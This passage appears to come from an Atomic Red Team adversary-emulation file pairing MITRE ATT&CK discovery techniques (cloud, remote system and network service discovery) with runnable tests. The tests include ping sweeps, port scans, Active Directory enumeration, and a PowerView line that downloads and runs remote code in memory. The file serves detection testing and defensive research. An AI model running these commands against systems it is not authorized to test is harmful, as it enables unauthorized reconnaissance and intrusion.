elevation_required: true - name: Security Software Discovery - Windows Firewall Enumeration auto_generated_guid: 9dca5a1d-f78c-4a8d-accb-d6de67cfed6b description: | Enumerates windows firewall to retrieves firewall rules from the target computer. when sucessfully executed, details of windows firewall is displayed. supported_platforms: - windows executor: command: | Get-NetFirewallProfile | Format-Table Name, Enabled Get-NetFirewallSetting Get-NetFirewallRule | select DisplayName, Enabled, Description name: powershell elevation_required: true T1526: technique: modified: '2023-10-31T14:00:00.188Z' name: Cloud Service Discovery description: |- An adversary may attempt to enumerate the cloud services running on a system after gaining access. These methods can differ from platform-as-a-service (PaaS), to infrastructure-as-a-service (IaaS), or software-as-a-service (SaaS). Many services exist throughout the various cloud providers and can include Continuous Integration and Continuous Delivery (CI/CD), Lambda Functions, Azure AD, etc. They may also include security services, such as AWS GuardDuty and Microsoft Defender for Cloud, and logging services, such as AWS CloudTrail and Google Cloud Audit Logs. Adversaries may attempt to discover information about the services enabled throughout the environment. Azure tools and APIs, such as the Azure AD Graph API and Azure Resource Manager API, can enumerate resources and services, including applications, management groups, resources and policy definitions, and their relationships that are accessible by an identity.(Citation: Azure - Resource Manager API)(Citation: Azure AD Graph API) For example, Stormspotter is an open source tool for enumerating and constructing a graph for Azure resources and services, and Pacu is an open source AWS exploitation framework that supports several methods for discovering cloud services.(Citation: Azure - Stormspotter)(Citation: GitHub Pacu) Adversaries may use the information gained to shape follow-on behaviors, such as targeting data or credentials from enumerated services or evading identified defenses through [Disable or Modify Tools](https://attack.mitre.org/techniques/T1562/001) or [Disable or Modify Cloud Logs](https://attack.mitre.org/techniques/T1562/008). kill_chain_phases: - kill_chain_name: mitre-attack phase_name: discovery x_mitre_contributors: - Suzy Schapperle - Microsoft Azure Red Team - Praetorian - Thanabodi Phrakhun, I-SECURE x_mitre_deprecated: false x_mitre_detection: |- Cloud service discovery techniques will likely occur throughout an operation where an adversary is targeting cloud-based systems and services. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities based on the information obtained. Normal, benign system and network events that look like cloud service discovery may be uncommon, depending on the environment and how they are used. Monitor cloud service usage for anomalous behavior that may indicate adversarial presence within the environment. x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: false x_mitre_platforms: - Azure AD - Office 365 - SaaS - IaaS - Google Workspace x_mitre_version: '1.3' x_mitre_data_sources: - 'Cloud Service: Cloud Service Enumeration' type: attack-pattern id: attack-pattern--e24fcba8-2557-4442-a139-1ee2f2e784db created: '2019-08-30T13:01:10.120Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1526 external_id: T1526 - source_name: Azure AD Graph API description: Microsoft. (2016, March 26). Operations overview | Graph API concepts. Retrieved June 18, 2020. url: https://docs.microsoft.com/en-us/previous-versions/azure/ad/graph/howto/azure-ad-graph-api-operations-overview - source_name: Azure - Resource Manager API description: Microsoft. (2019, May 20). Azure Resource Manager. Retrieved June 17, 2020. url: https://docs.microsoft.com/en-us/rest/api/resources/ - source_name: Azure - Stormspotter description: Microsoft. (2020). Azure Stormspotter GitHub. Retrieved June 17, 2020. url: https://github.com/Azure/Stormspotter - source_name: GitHub Pacu description: Rhino Security Labs. (2019, August 22). Pacu. Retrieved October 17, 2019. url: https://github.com/RhinoSecurityLabs/pacu object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.1.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' identifier: T1526 atomic_tests: - name: Azure - Dump Subscription Data with MicroBurst auto_generated_guid: 1e40bb1d-195e-401e-a86b-c192f55e005c description: "Upon successful execution, this test will enumerate all resources that are contained within a valid Azure subscription. \nThe resources enumerated will display on screen, as well as several csv files and folders will be output to a specified directory, listing what resources were discovered by the script. \nSee https://dev.to/cheahengsoon/enumerating-subscription-information-with-microburst-35a1\n" supported_platforms: - iaas:azure input_arguments: username: description: Azure AD username type: string default: password: description: Azure AD password type: string default: T1082Az output_directory: description: Directory to output results to type: string default: "$env:temp\\T1526Test1" subscription_name: description: Azure subscription name to scan type: string default: dependency_executor_name: powershell dependencies: - description: 'The Get-AzDomainInfo script must exist in PathToAtomicsFolder\..\ExternalPayloads. ' prereq_command: 'if (test-path "PathToAtomicsFolder\..\ExternalPayloads\Get-AzDomainInfo.ps1"){exit 0} else {exit 1} ' get_prereq_command: | New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null invoke-webrequest "https://raw.githubusercontent.com/NetSPI/MicroBurst/c771c665a2c71f9c5ba474869cd1c211ebee68fd/Az/Get-AzDomainInfo.ps1" -outfile "PathToAtomicsFolder\..\ExternalPayloads\Get-AzDomainInfo.ps1" - description: 'The Az module must be installed. ' prereq_command: 'try {if (Get-InstalledModule -Name Az -ErrorAction SilentlyContinue) {exit 0} else {exit 1}} catch {exit 1} ' get_prereq_command: 'Install-Module -Name Az -Force ' executor: command: | import-module "PathToAtomicsFolder\..\ExternalPayloads\Get-AzDomainInfo.ps1" $Password = ConvertTo-SecureString -String "#{password}" -AsPlainText -Force $Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList "#{username}", $Password Connect-AzAccount -Credential $Credential | out-null Get-AzDomainInfo -folder #{output_directory} -subscription "#{subscription_name}" -verbose cleanup_command: 'remove-item #{output_directory} -recurse -force -erroraction silentlycontinue ' name: powershell T1018: technique: modified: '2023-08-14T19:08:59.741Z' name: Remote System Discovery description: "Adversaries may attempt to get a listing of other systems by IP address, hostname, or other logical identifier on a network that may be used for Lateral Movement from the current system. Functionality could exist within remote access tools to enable this, but utilities available on the operating system could also be used such as [Ping](https://attack.mitre.org/software/S0097) or net view using [Net](https://attack.mitre.org/software/S0039).\n\nAdversaries may also analyze data from local host files (ex: C:\\Windows\\System32\\Drivers\\etc\\hosts or /etc/hosts) or other passive means (such as local [Arp](https://attack.mitre.org/software/S0099) cache entries) in order to discover the presence of remote systems in an environment.\n\nAdversaries may also target discovery of network infrastructure as well as leverage [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) commands on network devices to gather detailed information about systems within a network (e.g. show cdp neighbors, show arp).(Citation: US-CERT-TA18-106A)(Citation: CISA AR21-126A FIVEHANDS May 2021) \n" kill_chain_phases: - kill_chain_name: mitre-attack phase_name: discovery x_mitre_contributors: - Daniel Stepanic, Elastic - RedHuntLabs, @redhuntlabs - Austin Clark, @c2defense x_mitre_deprecated: false x_mitre_detection: |- System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained. Normal, benign system and network events related to legitimate remote system discovery may be uncommon, depending on the environment and how they are used. Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001). Monitor for processes that can be used to discover remote systems, such as ping.exe and tracert.exe, especially when executed in quick succession.(Citation: Elastic - Koadiac Detection with EQL) x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: false x_mitre_platforms: - Linux - macOS - Windows - Network x_mitre_version: '3.5' x_mitre_data_sources: - 'Command: Command Execution' - 'File: File Access' - 'Network Traffic: Network Connection Creation' - 'Process: Process Creation' type: attack-pattern id: attack-pattern--e358d692-23c0-4a31-9eb6-ecc13a8d7735 created: '2017-05-31T21:30:28.187Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1018 external_id: T1018 - source_name: CISA AR21-126A FIVEHANDS May 2021 description: CISA. (2021, May 6). Analysis Report (AR21-126A) FiveHands Ransomware. Retrieved June 7, 2021. url: https://us-cert.cisa.gov/ncas/analysis-reports/ar21-126a - source_name: Elastic - Koadiac Detection with EQL description: 'Stepanic, D.. (2020, January 13). Embracing offensive tooling: Building detections against Koadic using EQL. Retrieved November 30, 2020.' url: https://www.elastic.co/blog/embracing-offensive-tooling-building-detections-against-koadic-using-eql - source_name: US-CERT-TA18-106A description: US-CERT. (2018, April 20). Alert (TA18-106A) Russian State-Sponsored Cyber Actors Targeting Network Infrastructure Devices. Retrieved October 19, 2020. url: https://www.us-cert.gov/ncas/alerts/TA18-106A object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.1.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' identifier: T1018 atomic_tests: - name: Remote System Discovery - net auto_generated_guid: 85321a9c-897f-4a60-9f20-29788e50bccd description: | Identify remote systems with net.exe. Upon successful execution, cmd.exe will execute `net.exe view` and display results of local systems on the network that have file and print sharing enabled. supported_platforms: - windows executor: command: | net view /domain net view name: command_prompt - name: Remote System Discovery - net group Domain Computers auto_generated_guid: f1bf6c8f-9016-4edf-aff9-80b65f5d711f description: | Identify remote systems with net.exe querying the Active Directory Domain Computers group. Upon successful execution, cmd.exe will execute cmd.exe against Active Directory to list the "Domain Computers" group. Output will be via stdout. supported_platforms: - windows executor: command: 'net group "Domain Computers" /domain ' name: command_prompt - name: Remote System Discovery - nltest auto_generated_guid: 52ab5108-3f6f-42fb-8ba3-73bc054f22c8 description: | Identify domain controllers for specified domain. Upon successful execution, cmd.exe will execute nltest.exe against a target domain to retrieve a list of domain controllers. Output will be via stdout. supported_platforms: - windows input_arguments: target_domain: description: Domain to query for domain controllers type: string default: "%userdnsdomain%" executor: command: 'nltest.exe /dclist:#{target_domain} ' name: command_prompt - name: Remote System Discovery - ping sweep auto_generated_guid: 6db1f57f-d1d5-4223-8a66-55c9c65a9592 description: | Identify remote systems via ping sweep. Upon successful execution, cmd.exe will perform a for loop against the 192.168.1.1/24 network. Output will be via stdout. supported_platforms: - windows input_arguments: start_host: description: Last octet starting value for ping sweep. type: string default: '1' stop_host: description: Last octet ending value for ping sweep. type: string default: '254' subnet: description: Subnet used for ping sweep. type: string default: 192.168.1 executor: command: "for /l %i in (#{start_host},1,#{stop_host}) do ping -n 1 -w 100 #{subnet}.%i \n" name: command_prompt - name: Remote System Discovery - arp auto_generated_guid: 2d5a61f5-0447-4be4-944a-1f8530ed6574 description: "Identify remote systems via arp. \n\nUpon successful execution, cmd.exe will execute arp to list out the arp cache. Output will be via stdout.\n" supported_platforms: - windows executor: command: 'arp -a ' name: command_prompt - name: Remote System Discovery - arp nix auto_generated_guid: acb6b1ff-e2ad-4d64-806c-6c35fe73b951 description: | Identify remote systems via arp. Upon successful execution, sh will execute arp to list out the arp cache. Output will be via stdout. supported_platforms: - linux - macos dependency_executor_name: sh dependencies: - description: 'Check if arp command exists on the machine ' prereq_command: 'if [ -x "$(command -v arp)" ]; then exit 0; else exit 1; fi; ' get_prereq_command: "(which yum && yum -y install net-tools)||(which apt-get && apt-get install -y net-tools)\n" executor: command: 'arp -a | grep -v ''^?'' ' name: sh - name: Remote System Discovery - sweep auto_generated_guid: 96db2632-8417-4dbb-b8bb-a8b92ba391de description: | Identify remote systems via ping sweep. Upon successful execution, sh will perform a ping sweep on the 192.168.1.1/24 and echo via stdout if an IP is active. supported_platforms: - linux - macos input_arguments: start_host: description: Subnet used for ping sweep. type: string default: '1' stop_host: description: Subnet used for ping sweep. type: string default: '254' subnet: description: Subnet used for ping sweep. type: string default: 192.168.1 executor: command: 'for ip in $(seq #{start_host} #{stop_host}); do ping -c 1 #{subnet}.$ip; [ $? -eq 0 ] && echo "#{subnet}.$ip UP" || : ; done ' name: sh - name: Remote System Discovery - nslookup auto_generated_guid: baa01aaa-5e13-45ec-8a0d-e46c93c9760f description: | Powershell script that runs nslookup on cmd.exe against the local /24 network of the first network adaptor listed in ipconfig. Upon successful execution, powershell will identify the ip range (via ipconfig) and perform a for loop and execute nslookup against that IP range. Output will be via stdout. supported_platforms: - windows executor: command: | $localip = ((ipconfig | findstr [0-9].\.)[0]).Split()[-1] $pieces = $localip.split(".") $firstOctet = $pieces[0] $secondOctet = $pieces[1] $thirdOctet = $pieces[2] foreach ($ip in 1..255 | % { "$firstOctet.$secondOctet.$thirdOctet.$_" } ) {cmd.exe /c nslookup $ip} name: powershell elevation_required: true - name: Remote System Discovery - adidnsdump auto_generated_guid: 95e19466-469e-4316-86d2-1dc401b5a959 description: | This tool enables enumeration and exporting of all DNS records in the zone for recon purposes of internal networks Python 3 and adidnsdump must be installed, use the get_prereq_command's to meet the prerequisites for this test. Successful execution of this test will list dns zones in the terminal. supported_platforms: - windows input_arguments: user_name: description: username including domain. type: string default: domain\user acct_pass: description: Account password. type: string default: password host_name: description: hostname or ip address to connect to. type: string default: 192.168.1.1 venv_path: description: Path to the folder for the tactics venv type: string default: PathToAtomicsFolder\..\ExternalPayloads\venv_t1018 dependency_executor_name: powershell dependencies: - description: 'Computer must have python 3 installed ' prereq_command: 'if (Get-Command py -errorAction SilentlyContinue) { exit 0 } else { exit 1 } ' get_prereq_command: | New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction ignore -Force | Out-Null invoke-webrequest "https://www.python.org/ftp/python/3.10.4/python-3.10.4-amd64.exe" -outfile "PathToAtomicsFolder\..\ExternalPayloads\python_setup.exe" Start-Process -FilePath "PathToAtomicsFolder\..\ExternalPayloads\python_setup.exe" -ArgumentList "/quiet InstallAllUsers=1 PrependPath=1 Include_test=0" -Wait - description: 'Computer must have venv configured at #{venv_path} ' prereq_command: 'if (Test-Path -Path "#{venv_path}" ) { exit 0 } else { exit 1 } ' get_prereq_command: 'py -m venv "#{venv_path}" ' - description: 'adidnsdump must be installed ' prereq_command: 'if (Get-Command "#{venv_path}\Scripts\adidnsdump" -errorAction SilentlyContinue) { exit 0 } else { exit 1 } ' get_prereq_command: '& "#{venv_path}\Scripts\pip.exe" install --no-cache-dir adidnsdump 2>&1 | Out-Null ' executor: command: '"#{venv_path}\Scripts\adidnsdump" -u #{user_name} -p #{acct_pass} --print-zones #{host_name} ' name: command_prompt elevation_required: true - name: Adfind - Enumerate Active Directory Computer Objects auto_generated_guid: a889f5be-2d54-4050-bd05-884578748bb4 description: | Adfind tool can be used for reconnaissance in an Active directory environment. This example has been documented by ransomware actors enumerating Active Directory Computer Objects reference- http://www.joeware.net/freetools/tools/adfind/, https://www.fireeye.com/blog/threat-research/2019/04/pick-six-intercepting-a-fin6-intrusion.html supported_platforms: - windows input_arguments: optional_args: description: Allows defining arguments to add to the adfind command to tailor it to the specific needs of the environment. Use "-arg" notation to add arguments separated by spaces. type: string default: dependency_executor_name: powershell dependencies: - description: 'AdFind.exe must exist on disk at specified location (PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe) ' prereq_command: 'if (Test-Path "PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe") {exit 0} else {exit 1} ' get_prereq_command: | New-Item -Type Directory (split-path "PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe") -ErrorAction ignore | Out-Null Invoke-WebRequest -Uri "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1087.002/bin/AdFind.exe" -OutFile "PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" executor: command: '"PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" -f (objectcategory=computer) #{optional_args} ' name: command_prompt - name: Adfind - Enumerate Active Directory Domain Controller Objects auto_generated_guid: 5838c31e-a0e2-4b9f-b60a-d79d2cb7995e description: | Adfind tool can be used for reconnaissance in an Active directory environment. This example has been documented by ransomware actors enumerating Active Directory Domain Controller Objects reference- http://www.joeware.net/freetools/tools/adfind/, https://www.fireeye.com/blog/threat-research/2019/04/pick-six-intercepting-a-fin6-intrusion.html supported_platforms: - windows input_arguments: optional_args: description: Allows defining arguments to add to the adfind command to tailor it to the specific needs of the environment. Use "-arg" notation to add arguments separated by spaces. type: string default: dependency_executor_name: powershell dependencies: - description: 'AdFind.exe must exist on disk at specified location (PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe) ' prereq_command: 'if (Test-Path "PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe") {exit 0} else {exit 1} ' get_prereq_command: | New-Item -Type Directory (split-path "PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe") -ErrorAction ignore | Out-Null Invoke-WebRequest -Uri "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1087.002/bin/AdFind.exe" -OutFile "PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" executor: command: '"PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" #{optional_args} -sc dclist ' name: command_prompt - name: Remote System Discovery - ip neighbour auto_generated_guid: 158bd4dd-6359-40ab-b13c-285b9ef6fa25 description: "Use the ip neighbour command to display the known link layer (ARP table) addresses for hosts sharing the same network segment. \n" supported_platforms: - linux dependency_executor_name: sh dependencies: - description: 'Check if ip command exists on the machine ' prereq_command: 'if [ -x "$(command -v ip)" ]; then exit 0; else exit 1; fi; ' get_prereq_command: 'apt-get install iproute2 -y ' executor: command: 'ip neighbour show ' name: sh - name: Remote System Discovery - ip route auto_generated_guid: 1a4ebe70-31d0-417b-ade2-ef4cb3e7d0e1 description: "Use the ip route command to display the kernels routing tables. \n" supported_platforms: - linux dependency_executor_name: sh dependencies: - description: 'Check if ip command exists on the machine ' prereq_command: 'if [ -x "$(command -v ip)" ]; then exit 0; else exit 1; fi; ' get_prereq_command: 'apt-get install iproute2 -y ' executor: command: 'ip route show ' name: sh - name: Remote System Discovery - netstat auto_generated_guid: d2791d72-b67f-4615-814f-ec824a91f514 description: 'Use the netstat command to display the kernels routing tables. ' supported_platforms: - linux executor: command: 'netstat -r | grep default ' name: sh - name: Remote System Discovery - ip tcp_metrics auto_generated_guid: 6c2da894-0b57-43cb-87af-46ea3b501388 description: "Use the ip tcp_metrics command to display the recent cached entries for IPv4 and IPv6 source and destination addresses. \n" supported_platforms: - linux dependency_executor_name: sh dependencies: - description: 'Check if ip command exists on the machine ' prereq_command: 'if [ -x "$(command -v ip)" ]; then exit 0; else exit 1; fi; ' get_prereq_command: 'apt-get install iproute2 -y ' executor: command: 'ip tcp_metrics show |grep --invert-match "^127\." ' name: sh - name: Enumerate domain computers within Active Directory using DirectorySearcher auto_generated_guid: 962a6017-1c09-45a6-880b-adc9c57cb22e description: "This test is a Powershell script that enumerates Active Directory to determine computers that are joined to the domain. \nThis test is designed to mimic how SessionGopher can determine the additional systems within a domain, which has been used before by threat actors to aid in lateral movement. \nReference: [Head Fake: Tackling Disruptive Ransomware Attacks](https://www.mandiant.com/resources/head-fake-tackling-disruptive-ransomware-attacks). \nUpon successful execution, this test will output the names of the computers that reside on the domain to the console window. \n" supported_platforms: - windows dependency_executor_name: powershell dependencies: - description: This PC must be joined to a domain. prereq_command: if ((Get-WmiObject -Class Win32_ComputerSystem).partofdomain -eq $true) {exit 0} else {exit 1} get_prereq_command: 'write-host "This PC must be manually added to a domain." ' executor: command: | $DirectorySearcher = New-Object System.DirectoryServices.DirectorySearcher("(ObjectCategory=Computer)") $DirectorySearcher.PropertiesToLoad.Add("Name") $Computers = $DirectorySearcher.findall() foreach ($Computer in $Computers) { $Computer = $Computer.Properties.name if (!$Computer) { Continue } Write-Host $Computer} name: powershell elevation_required: false - name: Enumerate Active Directory Computers with Get-AdComputer auto_generated_guid: 97e89d9e-e3f5-41b5-a90f-1e0825df0fdf description: | The following Atomic test will utilize Get-AdComputer to enumerate Computers within Active Directory. Upon successful execution a listing of Computers will output with their paths in AD. Reference: https://github.com/MicrosoftDocs/windows-powershell-docs/blob/main/docset/winserver2022-ps/activedirectory/Get-ADComputer.md supported_platforms: - windows executor: name: powershell elevation_required: false command: 'Get-AdComputer -Filter * ' - name: Enumerate Active Directory Computers with ADSISearcher auto_generated_guid: 64ede6ac-b57a-41c2-a7d1-32c6cd35397d description: | The following Atomic test will utilize ADSISearcher to enumerate computers within Active Directory. Upon successful execution a listing of computers will output with their paths in AD. Reference: https://devblogs.microsoft.com/scripting/use-the-powershell-adsisearcher-type-accelerator-to-search-active-directory/ supported_platforms: - windows executor: name: powershell elevation_required: false command: '([adsisearcher]"objectcategory=computer").FindAll(); ([adsisearcher]"objectcategory=computer").FindOne() ' - name: Get-DomainController with PowerView auto_generated_guid: b9d2e8ca-5520-4737-8076-4f08913da2c4 description: 'Utilizing PowerView, run Get-DomainController to identify the Domain Controller. Upon execution, information about the domain controller within the domain will be displayed. ' supported_platforms: - windows executor: command: | [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 IEX (IWR 'https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1' -UseBasicParsing); Get-DomainController -verbose name: powershell - name: Get-WmiObject to Enumerate Domain Controllers auto_generated_guid: e3cf5123-f6c9-4375-bdf2-1bb3ba43a1ad description: | The following Atomic test will utilize get-wmiobject to enumerate Active Directory for Domain Controllers. Upon successful execution a listing of Systems from AD will output with their paths. Reference: https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.management/get-wmiobject?view=powershell-5.1 supported_platforms: - windows executor: name: powershell elevation_required: false command: | try { get-wmiobject -class ds_computer -namespace root\directory\ldap -ErrorAction Stop } catch { $_; exit $_.Exception.HResult } - name: Remote System Discovery - net group Domain Controller auto_generated_guid: 5843529a-5056-4bc1-9c13-a311e2af4ca0 description: | Identify remote systems with net.exe querying the Active Directory Domain Controller. Upon successful execution, cmd.exe will execute cmd.exe against Active Directory to list the "Domain Controller" in the domain. Output will be via stdout. supported_platforms: - windows executor: command: 'net group /domain "Domain controllers" ' name: command_prompt - name: Enumerate Remote Hosts with Netscan auto_generated_guid: b8147c9a-84db-4ec1-8eee-4e0da75f0de5 description: This test uses Netscan to identify remote hosts in a specified network range. supported_platforms: - windows input_arguments: netscan_path: description: NetScan exe location type: path default: PathToAtomicsFolder\..\ExternalPayloads\netscan\64-bit\netscan.exe range_to_scan: description: The IP range to scan with Netscan type: string default: 127.0.0.1-127.0.0.1 dependency_executor_name: powershell dependencies: - description: 'Netscan must be installed ' prereq_command: if (Test-Path "#{netscan_path}") {exit 0} else {exit 1} get_prereq_command: | New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null Invoke-WebRequest -OutFile "PathToAtomicsFolder\..\ExternalPayloads\netscan.zip" "https://www.softperfect.com/download/files/netscan_portable.zip" Expand-Archive -LiteralPath "PathToAtomicsFolder\..\ExternalPayloads\netscan.zip" -DestinationPath "PathToAtomicsFolder\..\ExternalPayloads\netscan" executor: command: cmd /c '#{netscan_path}' /hide /auto:"$env:temp\T1018NetscanOutput.txt" /range:'#{range_to_scan}' cleanup_command: 'remove-item "$env:temp\T1018NetscanOutput.txt" -force -erroraction silentlycontinue ' name: powershell elevation_required: false T1046: technique: modified: '2023-08-11T21:10:09.547Z' name: Network Service Discovery description: "Adversaries may attempt to get a listing of services running on remote hosts and local network infrastructure devices, including those that may be vulnerable to remote software exploitation. Common methods to acquire this information include port and/or vulnerability scans using tools that are brought onto a system.(Citation: CISA AR21-126A FIVEHANDS May 2021) \n\nWithin cloud environments, adversaries may attempt to discover services running on other cloud hosts. Additionally, if the cloud environment is connected to a on-premises environment, adversaries may be able to identify services running on non-cloud systems as well.\n\nWithin macOS environments, adversaries may use the native Bonjour application to discover services running on other macOS hosts within a network. The Bonjour mDNSResponder daemon automatically registers and advertises a host’s registered services on the network. For example, adversaries can use a mDNS query (such as dns-sd -B _ssh._tcp .) to find other systems broadcasting the ssh service.(Citation: apple doco bonjour description)(Citation: macOS APT Activity Bradley)" kill_chain_phases: - kill_chain_name: mitre-attack phase_name: discovery x_mitre_contributors: - Praetorian x_mitre_deprecated: false x_mitre_detection: |- System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained. Normal, benign system and network events from legitimate remote service scanning may be uncommon, depending on the environment and how they are used. Legitimate open port and vulnerability scanning may be conducted within the environment and will need to be deconflicted with any detection capabilities developed. Network intrusion detection systems can also be used to identify scanning activity. Monitor for process use of the networks and inspect intra-network flows to detect port scans. x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: false x_mitre_platforms: - Windows - IaaS - Linux - macOS - Containers - Network x_mitre_version: '3.1' x_mitre_data_sources: - 'Network Traffic: Network Traffic Flow' - 'Command: Command Execution' - 'Cloud Service: Cloud Service Enumeration' type: attack-pattern id: attack-pattern--e3a12395-188d-4051-9a16-ea8e14d07b88 created: '2017-05-31T21:30:43.915Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1046 external_id: T1046 - source_name: apple doco bonjour description description: Apple Inc. (2013, April 23). Bonjour Overview. Retrieved October 11, 2021. url: https://developer.apple.com/library/archive/documentation/Cocoa/Conceptual/NetServices/Introduction.html - source_name: CISA AR21-126A FIVEHANDS May 2021 description: CISA. (2021, May 6). Analysis Report (AR21-126A) FiveHands Ransomware. Retrieved June 7, 2021. url: https://us-cert.cisa.gov/ncas/analysis-reports/ar21-126a - source_name: macOS APT Activity Bradley description: Jaron Bradley. (2021, November 14). What does APT Activity Look Like on macOS?. Retrieved January 19, 2022. url: https://themittenmac.com/what-does-apt-activity-look-like-on-macos/ object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.1.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' identifier: T1046 atomic_tests: - name: Port Scan auto_generated_guid: 68e907da-2539-48f6-9fc9-257a78c05540 description: | Scan ports to check for listening ports. Upon successful execution, sh will perform a network connection against a single host (192.168.1.1) and determine what ports are open in the range of 1-65535. Results will be via stdout. supported_platforms: - linux - macos input_arguments: host: description: Host to scan. type: string default: 192.168.1.1 executor: command: 'for port in {1..65535}; do (2>/dev/null echo >/dev/tcp/#{host}/$port) && echo port $port is open ; done ' name: bash - name: Port Scan Nmap auto_generated_guid: 515942b0-a09f-4163-a7bb-22fefb6f185f description: | Scan ports to check for listening ports with Nmap. Upon successful execution, sh will utilize nmap, telnet, and nc to contact a single or range of addresses on port 80 to determine if listening. Results will be via stdout. supported_platforms: - linux - macos input_arguments: host: description: Host to scan. type: string default: 192.168.1.1 port: description: Ports to scan. type: string default: '80' network_range: description: Network Range to Scan. type: string default: 192.168.1.0/24 dependency_executor_name: sh dependencies: - description: 'Check if nmap command exists on the machine ' prereq_command: 'if [ -x "$(command -v nmap)" ]; then exit 0; else exit 1; fi; ' get_prereq_command: "(which yum && yum -y install epel-release nmap)||(which apt-get && DEBIAN_FRONTEND=noninteractive apt-get install -y nmap)||(which pkg && pkg install -y nmap)\n" - description: 'Check if nc command exists on the machine ' prereq_command: 'if [ -x "$(command -v nc)" ]; then exit 0; else exit 1; fi; ' get_prereq_command: "(which yum && yum -y install epel-release nc)||(which apt-get && DEBIAN_FRONTEND=noninteractive apt-get install -y netcat)||(which pkg && pkg install -y netcat)\n" - description: 'Check if telnet command exists on the machine ' prereq_command: 'if [ -x "$(command -v telnet)" ]; then exit 0; else exit 1; fi; ' get_prereq_command: "(which yum && yum -y install epel-release telnet)||(which apt-get && DEBIAN_FRONTEND=noninteractive apt-get install -y telnet)\n" executor: command: | sudo nmap -sS #{network_range} -p #{port} telnet #{host} #{port} nc -nv #{host} #{port} name: sh elevation_required: true - name: Port Scan NMap for Windows auto_generated_guid: d696a3cb-d7a8-4976-8eb5-5af4abf2e3df description: Scan ports to check for listening ports for the local host 127.0.0.1 supported_platforms: - windows input_arguments: nmap_url: description: NMap installer download URL type: url default: https://nmap.org/dist/nmap-7.80-setup.exe host_to_scan: description: The host to scan with NMap type: string default: 127.0.0.1 dependency_executor_name: powershell dependencies: - description: 'NMap must be installed ' prereq_command: if (cmd /c "nmap 2>nul") {exit 0} else {exit 1} get_prereq_command: | New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null Invoke-WebRequest -OutFile "PathToAtomicsFolder\..\ExternalPayloads\nmap-7.80-setup.exe" #{nmap_url} Start-Process "PathToAtomicsFolder\..\ExternalPayloads\nmap-7.80-setup.exe" /S executor: command: 'nmap #{host_to_scan}' name: powershell elevation_required: true - name: Port Scan using python auto_generated_guid: 6ca45b04-9f15-4424-b9d3-84a217285a5c description: 'Scan ports to check for listening ports with python ' supported_platforms: - windows input_arguments: host_ip: description: Host to scan. type: string default: 127.0.0.1 filename: description: Location of the project file type: path default: PathToAtomicsFolder\T1046\src\T1046.py dependency_executor_name: powershell dependencies: - description: 'Check if python exists on the machine ' prereq_command: 'if (Get-Command py -errorAction SilentlyContinue) { exit 0 } else { exit 1 } ' get_prereq_command: | New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction ignore -Force | Out-Null invoke-webrequest "https://www.python.org/ftp/python/3.10.4/python-3.10.4-amd64.exe" -outfile "PathToAtomicsFolder\..\ExternalPayloads\python_setup.exe" Start-Process -FilePath "PathToAtomicsFolder\..\ExternalPayloads\python_setup.exe" -ArgumentList "/quiet InstallAllUsers=1 PrependPath=1 Include_test=0" -Wait executor: command: 'python "#{filename}" -i #{host_ip} ' name: powershell - name: WinPwn - spoolvulnscan auto_generated_guid: 54574908-f1de-4356-9021-8053dd57439a description: Start MS-RPRN RPC Service Scan using spoolvulnscan function of WinPwn supported_platforms: - windows executor: command: |- 